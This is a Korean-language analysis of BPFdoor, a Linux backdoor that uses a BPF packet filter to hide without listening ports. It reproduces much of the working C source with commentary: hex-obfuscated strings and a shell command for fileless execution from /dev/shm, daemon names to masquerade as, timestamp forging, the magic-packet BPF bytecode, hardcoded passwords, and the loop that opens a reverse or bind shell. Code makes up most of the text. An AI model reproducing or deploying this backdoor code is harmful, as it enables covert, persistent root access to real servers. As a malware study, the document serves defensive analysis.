BPFdoor
BPF(Berkely Packet Filter)
kernel level에서 동작하는 ‘경량화된 가상머신’
네트워크 인터페이스 상 수신되는 패킷을 커널 단에서 직접 필터링 하여 불필요 패킷을 차단
→ FW/IPS와 유사한 기능을 단말에서 수행하기 위한 도구?
해당 동작은 커널단에서 이루어지므로 port listening이 이루어지지 않아 탐지 어려움
<linux/filter.h>를 통해 사용
BPFdoor
https://github.com/gwillgues/BPFDoor/blob/main/bpfdoor.c
해당 기능을 활용하여 Portless Backdoor로 동작
일반적인 demon으로 위장하여 동작하지만 포트를 열지 않음
사전에 설정한 magic sequence 송신 시 event발생
로컬포트를 열거나 reverse shell로 공격자 연결
자체 fork() 시스템콜을 통해 self-healing , 재실행 가능
main()
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // /var/run/haldrund.pid
if (access(pid_path, R_OK) == 0) {
exit(0);
}
mutex 검증 “haldrun” 프로세스 존재 확인
if (getuid() != 0) {
return 0;
}
privilege level이 root권한일때 코드 실행(root권한에서의 실행을 전제)
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0)
_exit(0);
_exit(-1);
}
int to_open(char *name, char *tmp)
{
char cmd[256] = {0};
char fmt[] = {
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
0x2f, 0x25, 0x73, 0x00};
// /bin/rm -f /dev/shm/%s;
// /bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s
snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
system(cmd);
sleep(2);
if (access(pid_path, R_OK) == 0)
return 0;
return 1;
}
메모리(/dev/shm)상으로 파일을 올리고 자가 삭제
메모리 상에서 동작시킬때 인자를 주어 해당 부분 스킵
해당기능으로 fileless구현
char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
bzero(&cfg, sizeof(cfg));
srand((unsigned)time(NULL));
strcpy(cfg.mask, self[rand()%10]);
strcpy(cfg.pass, hash);
strcpy(cfg.pass2, hash2);
프로세스 이름변경과 magic sequence 설정
setup_time(argv[0]);
set_proc_name(argc, argv, cfg.mask);
static void setup_time(char *file)
{
struct timeval tv[2];
tv[0].tv_sec = 1225394236;
tv[0].tv_usec = 0;
tv[1].tv_sec = 1225394236;
tv[1].tv_usec = 0;
utimes(file, tv);
}
int set_proc_name(int argc, char **argv, char *new)
{
size_t size = 0;
int i;
char *raw = NULL;
char *last = NULL;
argv0 = argv[0];
for (i = 0; environ[i]; i++)
size += strlen(environ[i]) + 1;
raw = (char *) malloc(size);
if (NULL == raw)
return -1;
for (i = 0; environ[i]; i++)
{
memcpy(raw, environ[i], strlen(environ[i]) + 1);
environ[i] = raw;
raw += strlen(environ[i]) + 1;
}
last = argv[0];
for (i = 0; i < argc; i++)
last += strlen(argv[i]) + 1;
for (i = 0; environ[i]; i++)
last += strlen(environ[i]) + 1;
memset(argv0, 0x00, last - argv0);
strncpy(argv0, new, last - argv0);
prctl(PR_SET_NAME, (unsigned long) new);
return 0;
}
파일의 접근시간과 변경시간을 수정하고
메모리상 실행 인자(argv)와 커널 레벨에서의 프로세스 명을 변경하여 추적을 어렵게 만든다.
if (fork()) exit(0);
데몬화 하여 부모프로세스는 죽고 자식 프로세스만 살아남는다.
이후 setsid()로 세션과 터미널을 분리한다.
init_signal();
signal(SIGCHLD, sig_child);
godpid = getpid();
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
signal(SIGCHLD,SIG_IGN);
setsid();
packet_loop();
return 0;
자식 프로세스에서 핵심 동작을 수행하는 packet_loop()는 이후에 분석하고
signal()을 통해 자식프로세스를 정리할 때 사용할 handler를 설정하고 좀비프로세스가 있다면 정리한다.
“haldrun”프로세스를 빈 파일로 생성하여 mutex를 유지한다.
init_signal()
static void on_terminate(int signo)
{
terminate();
}
static void init_signal(void)
{
atexit(terminate);
signal(SIGTERM, on_terminate);
return;
}
프로세스 종료시 동작을 정의한다.
종료시, SIGTERM 수신시 terminate()를 호출하도록 수정한다.
static void terminate(void)
{
if (getpid() == godpid)
remove_pid(pid_path);
_exit(EXIT_SUCCESS);
}
메인 프로세스의 경우 PID를 삭제하여 데몬 프로세스의 흔적을 지운 후 즉시 종료한다.
packet_loop()
struct sock_fprog filter;
struct sock_filter bpf_code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 27, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 5, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 23, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 19, 20, 0x00007255 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 17, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 0, 14, 0x00007255 },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 11, 12, 0x00000008 },
{ 0x15, 0, 11, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 9, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001a },
{ 0x54, 0, 0, 0x000000f0 },
{ 0x74, 0, 0, 0x00000002 },
{ 0xc, 0, 0, 0x00000000 },
{ 0x7, 0, 0, 0x00000000 },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 0, 1, 0x00005293 },
{ 0x6, 0, 0, 0x0000ffff },
{ 0x6, 0, 0, 0x00000000 },
};
filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
filter.filter = bpf_code;
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
return;
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
return;
}
bpf를 설정하는 부분이다.
sock_filter는{opcode 2byte, jt 1byte, jf 1byte, k 4byte}로 이루어진다.
https://www.kernel.org/doc/Documentation/networking/filter.txt
해당 필터를 설정한 후에는 무한반복문으로 넘어가 이벤트를 대기하게 된다.
memset(buff, 0, 512);
psize = 0;
r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
ip = (struct sniff_ip *)(buff+14);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) continue;
// determine protocl from packet (offset 14)
switch(ip->ip_p) {
case IPPROTO_TCP:
tcp = (struct sniff_tcp*)(buff+14+size_ip);
size_tcp = TH_OFF(tcp)*4;
mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
break;
case IPPROTO_UDP:
udp = (struct sniff_udp *)(ip+1);
mp = (struct magic_packet *)(udp+1);
break;
case IPPROTO_ICMP:
pbuff = (char *)(ip+1);
mp = (struct magic_packet *)(pbuff+8);
break;
default:
break;
}
버퍼를 세팅하고 패킷에 유형에 따라 magic packet을 설정한 후
**if (mp) {
if (mp->ip == INADDR_NONE)
bip = ip->ip_src.s_addr;
else
bip = mp->ip;
pid = fork();
if (pid) {
waitpid(pid, NULL, WNOHANG);
}
else {
int cmp = 0;
char sip[20] = {0};
char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x00}; // /usr/libexec/postfix/master
if (fork()) exit(0);
chdir("/");
setsid();
signal(SIGHUP, SIG_DFL);
memset(argv0, 0, strlen(argv0));
strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master)
prctl(PR_SET_NAME, (unsigned long) pname);
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
cmp = logon(mp->pass);
switch(cmp) {
case 1:
strcpy(sip, inet_ntoa(ip->ip_src));
getshell(sip, ntohs(tcp->th_dport));
break;
case 0:
scli = try_link(bip, mp->port);
if (scli > 0)
shell(scli, NULL, NULL);
break;
case 2:
mon(bip, mp->port);
break;
}
exit(0);
}
}**
자식 프로세스인경우 작업을 수행하는데
’/usr/libexec/postfix/master’로 프로세스 이름을 변경하여 시스템 데몬으로 위장하고
rc4를 통한 암호화 통신을 세팅하여 logon()을 실행하게 된다.
이 logon()값에 따라 리버스 쉘, 쉘, 모니터링을 실행하게 된다.
int logon(const char *hash)
{
int x = 0;
x = memcmp(cfg.pass, hash, strlen(cfg.pass));
if (x == 0)
return 0;
x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
if (x == 0)
return 1;
return 2;
}
이 logon()은 메인에서 설정한 hash와 hash2값을 검증하여 동작 방식을 결정하게 된다.